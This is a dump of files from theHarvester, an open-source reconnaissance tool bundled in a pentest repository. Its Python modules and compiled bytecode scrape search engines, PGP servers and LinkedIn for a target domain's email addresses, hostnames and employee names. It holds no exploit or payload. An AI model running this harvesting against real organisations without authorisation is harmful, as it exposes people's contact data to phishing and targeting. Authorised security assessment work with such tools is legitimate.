GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,420
theHarvester.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/theHarvester.py
#!/usr/bin/env python import string import httplib, sys from socket import * import re import getopt from discovery import * import hostchecker print "\n*************************************" print "*TheHarvester Ver. 2.0 (reborn) *" print "*Coded by Christian Martorella *" print "*Edge-Security Research *" print "*cmartorella@edge-security.com *" print "*************************************\n\n" def usage(): print "Usage: theharvester options \n" print " -d: Domain to search or company name" print " -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)" print " -s: Start in result number X (default 0)" print " -v: Verify host name via dns resolution and search for vhosts(basic)" print " -l: Limit the number of results to work with(bing goes from 50 to 50 results," print " google 100 to 100, and pgp does'nt use this option)" print " -f: Save the results into an XML file" print "\nExamples:./theharvester.py -d microsoft.com -l 500 -b google" print " ./theharvester.py -d microsoft.com -b pgp" print " ./theharvester.py -d microsoft -l 200 -b linkedin\n" def start(argv): if len(sys.argv) < 4: usage() sys.exit() try : opts, args = getopt.getopt(argv, "l:d:b:s:v:f:") except getopt.GetoptError: usage() sys.exit() start=0 host_ip=[] filename="" bingapi="yes" start=0 for opt, arg in opts: if opt == '-l' : limit = int(arg) elif opt == '-d': word = arg elif opt == '-s': start = int(arg) elif opt == '-v': virtual = arg elif opt == '-f': filename= arg elif opt == '-b': engine = arg if engine not in ("google", "linkedin", "pgp", "all","google-profiles","exalead","bing","bing_api","yandex"): usage() print "Invalid search engine, try with: bing, google, linkedin, pgp" sys.exit() else: pass if engine == "google": print "[-] Searching in Google:" search=googlesearch.search_google(word,limit,start) search.process() all_emails=search.get_emails() all_hosts=search.get_hostnames() if engine == "exalead": print "[-] Searching in Exalead:" search=exaleadsearch.search_exalead(word,limit,start) search.process() all_emails=search.get_emails() all_hosts=search.get_hostnames() elif engine == "bing" or engine =="bingapi": print "[-] Searching in Bing:" search=bingsearch.search_bing(word,limit,start) if engine =="bingapi": bingapi="yes" else: bingapi="no" search.process(bingapi) all_emails=search.get_emails() all_hosts=search.get_hostnames() elif engine == "yandex":# Not working yet print "[-] Searching in Yandex:" search=yandexsearch.search_yandex(word,limit,start) search.process() all_emails=search.get_emails() all_hosts=search.get_hostnames() elif engine == "pgp": print "[-] Searching in PGP key server.." search=pgpsearch.search_pgp(word) search.process() all_emails=search.get_emails() all_hosts=search.get_hostnames() elif engine == "linkedin": print "[-] Searching in Linkedin.." search=linkedinsearch.search_linkedin(word,limit) search.process() people=search.get_people() print "Users from Linkedin:" print "====================" for user in people: print user sys.exit() elif engine == "google-profiles": print "[-] Searching in Google profiles.." search=googlesearch.search_google(word,limit,start) search.process_profiles() people=search.get_profiles() print "Users from Google profiles:" print "---------------------------" for users in people: print users sys.exit() elif engine == "all": print "Full harvest.." all_emails=[] all_hosts=[] virtual = "basic" print "[-] Searching in Google.." search=googlesearch.search_google(word,limit,start) search.process() emails=search.get_emails() hosts=search.get_hostnames() all_emails.extend(emails) all_hosts.extend(hosts) print "[-] Searching in PGP Key server.." search=pgpsearch.search_pgp(word) search.process() emails=search.get_emails() hosts=search.get_hostnames() all_hosts.extend(hosts) all_emails.extend(emails) print "[-] Searching in Bing.." bingapi="yes" search=bingsearch.search_bing(word,limit,start) search.process(bingapi) emails=search.get_emails() hosts=search.get_hostnames() all_hosts.extend(hosts) all_emails.extend(emails) print "[-] Searching in Exalead.." search=exaleadsearch.search_exalead(word,limit,start) search.process() emails=search.get_emails() hosts=search.get_hostnames() all_hosts.extend(hosts) all_emails.extend(emails) print "\n[+] Emails found:" print " -------------" if all_emails ==[]: print "No emails found" else: for emails in all_emails: print emails print "\n[+] Hosts found" print " -----------" if all_hosts == []: print "No hosts found" else: full_host=hostchecker.Checker(all_hosts) full=full_host.check() vhost=[] for host in full: print host ip=host.split(':')[0] if host_ip.count(ip.lower()): pass else: host_ip.append(ip.lower()) if virtual == "basic": print "[+] Virtual hosts:" print "----------------" for l in host_ip: search=bingsearch.search_bing(l,limit,start) search.process_vhost() res=search.get_allhostnames() for x in res: print l+":"+x vhost.append(l+":"+x) full.append(l+":"+x) else: pass #Here i need to add explosion mode. #Tengo que sacar los TLD para hacer esto. recursion=None if recursion: limit=300 start=0 for word in vhost: search=googlesearch.search_google(word,limit,start) search.process() emails=search.get_emails() hosts=search.get_hostnames() print emails print hosts else: pass if filename!="": file = open(filename,'w') file.write('<theHarvester>') for x in all_emails: file.write('<email>'+x+'</email>') for x in all_hosts: file.write('<host>'+x+'</host>') for x in vhosts: file.write('<vhost>'+x+'</vhost>') file.write('</theHarvester>') file.close print "Results saved in: "+ filename else: pass if __name__ == "__main__": try: start(sys.argv[1:]) except KeyboardInterrupt: print "Search interrupted by user.." except: sys.exit()
6,245
Python
.py
216
25.884259
112
0.668384
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,421
hostchecker.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/hostchecker.pyc
Ñò �ŞÂMc@s5dZddkZddkZddd„ƒYZdS(s$ Created by laramies on 2008-08-21. iÿÿÿÿNtCheckercBseZd„Zd„ZRS(cCs||_g|_dS(N(thostst realhosts(tselfR((s0/pentest/enumeration/theharvester/hostchecker.pyt__init__ s cCs^xT|iD]I}y+ti|ƒ}|ii|d|ƒWq tj o }q Xq W|iS(Nt:(Rtsockett gethostbynameRtappendt Exception(Rtxtreste((s0/pentest/enumeration/theharvester/hostchecker.pytchecks  (t__name__t __module__RR (((s0/pentest/enumeration/theharvester/hostchecker.pyR s ((t__doc__tsysRR(((s0/pentest/enumeration/theharvester/hostchecker.pyt<module>s  
977
Python
.py
11
87.818182
340
0.427094
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,422
parser.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/parser.py
import string import re class parser: def __init__(self,results,word): self.results=results self.word=word self.temp=[] def genericClean(self): self.results = re.sub('<em>', '', self.results) self.results = re.sub('<b>', '', self.results) self.results = re.sub('</b>', '', self.results) self.results = re.sub('</em>', '', self.results) self.results = re.sub('%2f', ' ', self.results) self.results = re.sub('%3a', ' ', self.results) self.results = re.sub('<strong>', '', self.results) self.results = re.sub('</strong>', '', self.results) for e in ('>',':','=', '<', '/', '\\',';','&','%3A','%3D','%3C'): self.results = string.replace(self.results, e, ' ') def urlClean(self): self.results = re.sub('<em>', '', self.results) self.results = re.sub('</em>', '', self.results) self.results = re.sub('%2f', ' ', self.results) self.results = re.sub('%3a', ' ', self.results) for e in ('<','>',':','=',';','&','%3A','%3D','%3C'): self.results = string.replace(self.results, e, ' ') def emails(self): self.genericClean() reg_emails = re.compile('[a-zA-Z0-9.-_]*' + '@' + '[a-zA-Z0-9.-]*' + self.word) self.temp = reg_emails.findall(self.results) emails=self.unique() return emails def fileurls(self,file): urls=[] reg_urls = re.compile('<a href="(.*?)"') self.temp = reg_urls.findall(self.results) allurls=self.unique() for x in allurls: if x.count('webcache') or x.count('google.com') or x.count('search?hl'): pass else: urls.append(x) return urls def people_linkedin(self): reg_people = re.compile('">[a-zA-Z0-9._ -]* profiles | LinkedIn') self.temp = reg_people.findall(self.results) resul = [] for x in self.temp: y = string.replace(x, ' LinkedIn', '') y = string.replace(y, ' profiles ', '') y = string.replace(y, 'LinkedIn', '') y = string.replace(y, '"', '') y = string.replace(y, '>', '') if y !=" ": resul.append(y) return resul def profiles(self): reg_people = re.compile('">[a-zA-Z0-9._ -]* - <em>Google Profile</em>') self.temp = reg_people.findall(self.results) resul = [] for x in self.temp: y = string.replace(x, ' <em>Google Profile</em>', '') y = string.replace(y, '-', '') y = string.replace(y, '">', '') if y !=" ": resul.append(y) return resul def hostnames(self): self.genericClean() reg_hosts = re.compile('[a-zA-Z0-9.-]*\.'+ self.word) self.temp = reg_hosts.findall(self.results) hostnames=self.unique() print hostnames return hostnames def hostnames_all(self): reg_hosts = re.compile('<cite>(.*?)</cite>') temp = reg_hosts.findall(self.results) for x in temp: if x.count(':'): res=x.split(':')[1].split('/')[2] else: res=x.split("/")[0] self.temp.append(res) hostnames=self.unique() return hostnames def unique(self): self.new=[] for x in self.temp: if x not in self.new: self.new.append(x) return self.new
2,960
Python
.py
90
29.255556
81
0.606125
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,423
parser.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/parser.pyc
—Ú èfi¬Mc@s/ddkZddkZdddÑÉYZdS(iˇˇˇˇNtparsercBsbeZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZ dÑZ d ÑZ RS( cCs||_||_g|_dS(N(tresultstwordttemp(tselfRR((s+/pentest/enumeration/theharvester/parser.pyt__init__s  c Cstidd|iÉ|_tidd|iÉ|_tidd|iÉ|_tidd|iÉ|_tidd|iÉ|_tidd|iÉ|_tid d|iÉ|_tid d|iÉ|_x)dD]!}ti|i|dÉ|_qflWdS(Ns<em>ts<b>s</b>s</em>s%2ft s%3as<strong>s </strong>t>t:t=t<t/s\t;t&s%3As%3Ds%3C( RR R R R s\R Rs%3As%3Ds%3C(tretsubRtstringtreplace(Rte((s+/pentest/enumeration/theharvester/parser.pyt genericClean sc Csútidd|iÉ|_tidd|iÉ|_tidd|iÉ|_tidd|iÉ|_x)dD]!}ti|i|dÉ|_qsWdS(Ns<em>Rs</em>s%2fRs%3aR RR R R Rs%3As%3Ds%3C( R RR R R Rs%3As%3Ds%3C(RRRRR(RR((s+/pentest/enumeration/theharvester/parser.pyturlCleanscCsI|iÉtidd|iÉ}|i|iÉ|_|iÉ}|S(Ns[a-zA-Z0-9.-_]*t@s[a-zA-Z0-9.-]*s[a-zA-Z0-9.-_]*@(RRtcompileRtfindallRRtunique(Rt reg_emailstemails((s+/pentest/enumeration/theharvester/parser.pyR s   cCsåg}tidÉ}|i|iÉ|_|iÉ}xO|D]G}|idÉp |idÉp|idÉoq=|i|Éq=W|S(Ns<a href="(.*?)"twebcaches google.coms search?hl(RRRRRRtcounttappend(Rtfileturlstreg_urlstallurlstx((s+/pentest/enumeration/theharvester/parser.pytfileurls's 0cCs…tidÉ}|i|iÉ|_g}xò|iD]ç}ti|ddÉ}ti|ddÉ}ti|ddÉ}ti|ddÉ}ti|ddÉ}|djo|i|Éq4q4W|S( Ns&">[a-zA-Z0-9._ -]* profiles | LinkedIns LinkedInRs profiles tLinkedInt"RR(RRRRRRRR(Rt reg_peopletresulR#ty((s+/pentest/enumeration/theharvester/parser.pytpeople_linkedin3s  cCsütidÉ}|i|iÉ|_g}xn|iD]c}ti|ddÉ}ti|ddÉ}ti|ddÉ}|djo|i|Éq4q4W|S(Ns,">[a-zA-Z0-9._ -]* - <em>Google Profile</em>s <em>Google Profile</em>Rt-s">R(RRRRRRRR(RR'R(R#R)((s+/pentest/enumeration/theharvester/parser.pytprofilesBs  cCsJ|iÉtid|iÉ}|i|iÉ|_|iÉ}|GH|S(Ns[a-zA-Z0-9.-]*\.(RRRRRRRR(Rt reg_hostst hostnames((s+/pentest/enumeration/theharvester/parser.pyR.Os   cCsôtidÉ}|i|iÉ}xe|D]]}|idÉo$|idÉdidÉd}n|idÉd}|ii|Éq(W|iÉ}|S(Ns<cite>(.*?)</cite>R iR ii( RRRRRtsplitRRR(RR-RR#tresR.((s+/pentest/enumeration/theharvester/parser.pyt hostnames_allWs$ cCsHg|_x5|iD]*}||ijo|ii|ÉqqW|iS(N(tnewRR(RR#((s+/pentest/enumeration/theharvester/parser.pyRcs   ( t__name__t __module__RRRRR$R*R,R.R1R(((s+/pentest/enumeration/theharvester/parser.pyRs       ((RRR(((s+/pentest/enumeration/theharvester/parser.pyt<module>s  
4,636
Python
.py
21
219.761905
650
0.337305
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,424
hostchecker.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/hostchecker.py
#!/usr/bin/env python # encoding: utf-8 """ Created by laramies on 2008-08-21. """ import sys import socket class Checker(): def __init__(self, hosts): self.hosts = hosts self.realhosts=[] def check(self): for x in self.hosts: try: res=socket.gethostbyname(x) self.realhosts.append(res+":"+x) except Exception, e: pass return self.realhosts
377
Python
.py
19
16.947368
37
0.696023
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,425
linkedinsearch.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/linkedinsearch.pyc
Ñò �ÞÂMc@sSddkZddkZddkZddkZddkZddd„ƒYZdS(iÿÿÿÿNtsearch_linkedincBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCsg|iddƒ|_d|_d|_d|_d|_d|_d|_t|ƒ|_ d|_ dS(Nt s%20tswww.google.comsT(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6t100i( treplacetwordtresultst totalresultstserverthostnamet userAgenttquantitytinttlimittcounter(tselfRR ((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pyt__init__s      cCs—ti|iƒ}|iddt|iƒd|iƒ|id|iƒ|i ƒ|i ƒ\}}}|i ƒi ƒ|_ |i|i 7_dS(NtGETs/search?num=100&start=s%&hl=en&meta=&q=site%3Alinkedin.com%20s User-agent(thttplibtHTTPRt putrequesttstrRRt putheaderR t endheaderstgetreplytgetfiletreadRR(Rtht returncodet returnmsgtheaders((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pyt do_searchs( cCsBtidƒ}|i|iƒ}|gjo d}nd}|S(Ns > Next <t1t0(tretcompiletfindallR(Rtrenexttnextrestnexty((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pyt check_nexts   cCs"ti|i|iƒ}|iƒS(N(tparserRRtpeople_linkedin(Rtrawres((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pyt get_people$scCsVxO|i|ijo;|iƒ|iƒ}|djo|id7_qPqWdS(NR id(RR RR((Rtmore((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pytprocess(s   (t__name__t __module__RRR(R,R.(((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pyRs  ((tstringRtsysR)R"R(((s=/pentest/enumeration/theharvester/discovery/linkedinsearch.pyt<module>s   
2,506
Python
.py
18
138.222222
540
0.446766
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,426
googlesearch.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/googlesearch.py
import string import httplib, sys import parser import re import time class search_google: def __init__(self,word,limit,start): self.word=word self.files="pdf" self.results="" self.totalresults="" self.server="www.google.com" self.hostname="www.google.com" self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" self.quantity="100" self.limit=limit self.counter=start def do_search(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/search?num="+self.quantity+"&start=" + str(self.counter) + "&hl=en&meta=&q=%40\"" + self.word + "\"") h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def do_search_files(self,files): h = httplib.HTTP(self.server) h.putrequest('GET', "/search?num="+self.quantity+"&start=" + str(self.counter) + "&hl=en&meta=&q=filetype:"+files+"%20site:" + self.word) h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def do_search_profiles(self): h = httplib.HTTP(self.server) h.putrequest('GET', '/search?num='+ self.quantity + '&start=' + str(self.counter) + '&hl=en&meta=&q=site:www.google.com%20intitle:"Google%20Profile"%20"Companies%20I%27ve%20worked%20for"%20"at%20' + self.word + '"') h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def check_next(self): renext = re.compile('> Next <') nextres=renext.findall(self.results) if nextres !=[]: nexty="1" else: nexty="0" return nexty def get_emails(self): rawres=parser.parser(self.totalresults,self.word) return rawres.emails() def get_hostnames(self): rawres=parser.parser(self.totalresults,self.word) return rawres.hostnames() def get_files(self): rawres=parser.parser(self.totalresults,self.word) return rawres.fileurls(self.files) def get_profiles(self): rawres=parser.parser(self.totalresults,self.word) return rawres.profiles() def process(self): while self.counter <= self.limit: self.do_search() more = self.check_next() time.sleep(1) self.counter+=100 print "\tSearching "+ str(self.counter) + " results..." def process_files(self,files): while self.counter <= self.limit: self.do_search_files(files) time.sleep(1) self.counter+=100 print "\tSearching "+ str(self.counter) + " results..." def process_profiles(self): while self.counter < self.limit: self.do_search_profiles() time.sleep(0.3) more = self.check_next() if more == "1": self.counter+=100 else: break
2,976
Python
.py
86
31.209302
217
0.709384
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,427
yandexsearch.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/yandexsearch.pyc
Ñò �ÞÂMc @s_ddkZddkZddkZddkZddkZddkZddd„ƒYZdS(iÿÿÿÿNt search_yandexcBsYeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z RS( cCsL||_d|_d|_d|_d|_d|_||_||_dS(Nts yandex.comsT(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6(twordtresultst totalresultstserverthostnamet userAgenttlimittcounter(tselfRRtstart((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt__init__s       cCs²ti|iƒ}|idd|idt|iƒƒ|id|iƒ|id|i ƒ|i ƒ|i ƒ\}}}|i ƒi ƒ|_|i|i7_|iGHdS(NtGETs/search?text=%40s&numdoc=50&lr=tHosts User-agent(thttplibtHTTPRt putrequestRtstrR t putheaderRRt endheaderstgetreplytgetfiletreadRR(R tht returncodet returnmsgtheaders((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt do_searchs( cCsªti|iƒ}|idd|idt|iƒƒ|id|iƒ|id|i ƒ|i ƒ|i ƒ\}}}|i ƒi ƒ|_|i|i7_dS(NR s/search?text=%40s&numdoc=50&lr=Rs User-agent(RRRRRRR RRRRRRRRR(R tfilesRRRR((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pytdo_search_filess( cCsPtidƒ}|i|iƒ}|gjod}t|iƒGHnd}|S(Nt topNextUrlt1t0(tretcompiletfindallRRR (R trenexttnextrestnexty((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt check_next's cCs"ti|i|iƒ}|iƒS(N(tparserRRtemails(R trawres((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt get_emails1scCs"ti|i|iƒ}|iƒS(N(R)RRt hostnames(R R+((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt get_hostnames5scCs(ti|i|iƒ}|i|iƒS(N(R)RRtfileurlsR(R R+((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt get_files9scCsNxG|i|ijo3|iƒ|id7_dt|iƒdGHqWdS(Ni2s Searching s results...(R RRR(R ((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pytprocess>s  cCsHxA|i|ijo-|i|ƒtidƒ|id7_qWdS(Ng333333Ó?i2(R RRttimetsleep(R R((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt process_filesEs   ( t__name__t __module__R RRR(R,R.R0R1R4(((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyRs    ((tstringRtsysR)R"R2R(((s;/pentest/enumeration/theharvester/discovery/yandexsearch.pyt<module>s    
3,752
Python
.py
31
119.774194
473
0.422497
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,428
googlesearch.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/googlesearch.pyc
Ñò �ÞÂMc @s_ddkZddkZddkZddkZddkZddkZddd„ƒYZdS(iÿÿÿÿNt search_googlecBsteZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z RS( cCs^||_d|_d|_d|_d|_d|_d|_d|_||_||_ dS(Ntpdftswww.google.comsT(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6t100( twordtfilestresultst totalresultstserverthostnamet userAgenttquantitytlimittcounter(tselfRR tstart((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt__init__s         cCs¹ti|iƒ}|idd|idt|iƒd|idƒ|id|i ƒ|id|i ƒ|i ƒ|i ƒ\}}}|i ƒiƒ|_|i|i7_dS(NtGETs /search?num=s&start=s&hl=en&meta=&q=%40"s"tHosts User-agent(thttplibtHTTPRt putrequestR tstrR Rt putheaderR R t endheaderstgetreplytgetfiletreadRR(Rtht returncodet returnmsgtheaders((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt do_searchs7 cCs½ti|iƒ}|idd|idt|iƒd|d|iƒ|id|i ƒ|id|i ƒ|i ƒ|i ƒ\}}}|i ƒiƒ|_|i|i7_dS(NRs /search?num=s&start=s&hl=en&meta=&q=filetype:s%20site:Rs User-agent(RRRRR RR RRR R RRRRRR(RRRRRR((s;/pentest/enumeration/theharvester/discovery/googlesearch.pytdo_search_filess; cCs¹ti|iƒ}|idd|idt|iƒd|idƒ|id|i ƒ|id|i ƒ|i ƒ|i ƒ\}}}|i ƒiƒ|_|i|i7_dS(NRs /search?num=s&start=sn&hl=en&meta=&q=site:www.google.com%20intitle:"Google%20Profile"%20"Companies%20I%27ve%20worked%20for"%20"at%20t"Rs User-agent(RRRRR RR RRR R RRRRRR(RRRRR((s;/pentest/enumeration/theharvester/discovery/googlesearch.pytdo_search_profiles(s7 cCsBtidƒ}|i|iƒ}|gjo d}nd}|S(Ns > Next <t1t0(tretcompiletfindallR(Rtrenexttnextrestnexty((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt check_next3s   cCs"ti|i|iƒ}|iƒS(N(tparserRRtemails(Rtrawres((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt get_emails<scCs"ti|i|iƒ}|iƒS(N(R-RRt hostnames(RR/((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt get_hostnames@scCs(ti|i|iƒ}|i|iƒS(N(R-RRtfileurlsR(RR/((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt get_filesDscCs"ti|i|iƒ}|iƒS(N(R-RRtprofiles(RR/((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt get_profilesHscCsgx`|i|ijoL|iƒ|iƒ}tidƒ|id7_dt|iƒdGHqWdS(Niids Searching s results...(R R R R,ttimetsleepR(Rtmore((s;/pentest/enumeration/theharvester/discovery/googlesearch.pytprocessNs   cCs^xW|i|ijoC|i|ƒtidƒ|id7_dt|iƒdGHqWdS(Niids Searching s results...(R R R!R7R8R(RR((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt process_filesVs   cCscx\|i|ijoH|iƒtidƒ|iƒ}|djo|id7_qPqWdS(Ng333333Ó?R$id(R R R#R7R8R,(RR9((s;/pentest/enumeration/theharvester/discovery/googlesearch.pytprocess_profiles]s    (t__name__t __module__RR R!R#R,R0R2R4R6R:R;R<(((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyRs      ((tstringRtsysR-R&R7R(((s;/pentest/enumeration/theharvester/discovery/googlesearch.pyt<module>s    
5,194
Python
.py
30
171.8
1,020
0.411389
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,429
yandexsearch.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/yandexsearch.py
import string import httplib, sys import parser import re import time class search_yandex: def __init__(self,word,limit,start): self.word=word self.results="" self.totalresults="" self.server="yandex.com" self.hostname="yandex.com" self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" self.limit=limit self.counter=start def do_search(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/search?text=%40"+ self.word + "&numdoc=50&lr="+str(self.counter)) h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results print self.results def do_search_files(self,files): #TODO h = httplib.HTTP(self.server) h.putrequest('GET', "/search?text=%40"+ self.word + "&numdoc=50&lr="+str(self.counter)) h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def check_next(self): renext = re.compile('topNextUrl') nextres=renext.findall(self.results) if nextres !=[]: nexty="1" print str(self.counter) else: nexty="0" return nexty def get_emails(self): rawres=parser.parser(self.totalresults,self.word) return rawres.emails() def get_hostnames(self): rawres=parser.parser(self.totalresults,self.word) return rawres.hostnames() def get_files(self): rawres=parser.parser(self.totalresults,self.word) return rawres.fileurls(self.files) def process(self): while self.counter <= self.limit: self.do_search() self.counter+=50 print "Searching " + str(self.counter) + " results..." def process_files(self,files): while self.counter < self.limit: self.do_search_files(files) time.sleep(0.3) self.counter+=50
1,977
Python
.py
62
28.629032
103
0.726984
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,430
exaleadsearch.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/exaleadsearch.pyc
—Ú èfi¬Mc @s_ddkZddkZddkZddkZddkZddkZdddÑÉYZdS(iˇˇˇˇNtsearch_exaleadcBsYeZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZ dÑZ RS( cCsU||_d|_d|_d|_d|_d|_d|_||_||_dS(Ntpdftswww.exalead.comsT(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6( twordtfilestresultst totalresultstserverthostnamet userAgenttlimittcounter(tselfRR tstart((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt__init__s        cCs™ti|iÉ}|idd|idt|iÉÉ|id|iÉ|id|i É|i É|i É\}}}|i Éi É|_|i|i7_dS(NtGETs/search/web/results/?q=%40s#&elements_per_page=100&start_index=tHosts User-agent(thttplibtHTTPRt putrequestRtstrR t putheaderRR t endheaderstgetreplytgetfiletreadRR(R tht returncodet returnmsgtheaders((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt do_searchs( cCsØti|iÉ}|idd|id|id|iÉ|id|iÉ|id|i É|i É|i É\}}}|i Éi É|_|i|i7_dS(NRssearch/web/results/?q=s filetype:s#&elements_per_page=100&start_index=Rs User-agent(RRRRRRR RRR RRRRRR(R RRRRR((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pytdo_search_filess- cCsPtidÉ}|i|iÉ}|gjod}t|iÉGHnd}|S(Nt topNextUrlt1t0(tretcompiletfindallRRR (R trenexttnextrestnexty((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt check_next's cCs"ti|i|iÉ}|iÉS(N(tparserRRtemails(R trawres((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt get_emails1scCs"ti|i|iÉ}|iÉS(N(R*RRt hostnames(R R,((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt get_hostnames5scCs(ti|i|iÉ}|i|iÉS(N(R*RRtfileurlsR(R R,((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt get_files9scCsNxG|i|ijo3|iÉ|id7_dt|iÉdGHqWdS(Nids Searching s results...(R R RR(R ((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pytprocess>s  cCsfx_|i|ijoK|i|ÉtidÉ|iÉ}|djo|id7_qPqWdS(NiR!id(R R RttimetsleepR)(R Rtmore((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt process_filesEs    ( t__name__t __module__RRRR)R-R/R1R2R6(((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyRs    ((tstringRtsysR*R#R3R(((s</pentest/enumeration/theharvester/discovery/exaleadsearch.pyt<module>s    
3,912
Python
.py
23
168.73913
620
0.427432
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,431
linkedinsearch.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/linkedinsearch.py
import string import httplib, sys import parser import re class search_linkedin: def __init__(self,word,limit): self.word=word.replace(' ', '%20') self.results="" self.totalresults="" self.server="www.google.com" self.hostname="www.google.com" self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" self.quantity="100" self.limit=int(limit) self.counter=0 def do_search(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/search?num=100&start=" + str(self.counter) + "&hl=en&meta=&q=site%3Alinkedin.com%20" + self.word) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def check_next(self): renext = re.compile('> Next <') nextres=renext.findall(self.results) if nextres !=[]: nexty="1" else: nexty="0" return nexty def get_people(self): rawres=parser.parser(self.totalresults,self.word) return rawres.people_linkedin() def process(self): while (self.counter < self.limit): self.do_search() more = self.check_next() if more == "1": self.counter+=100 else: break
1,229
Python
.py
42
26.119048
121
0.702634
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
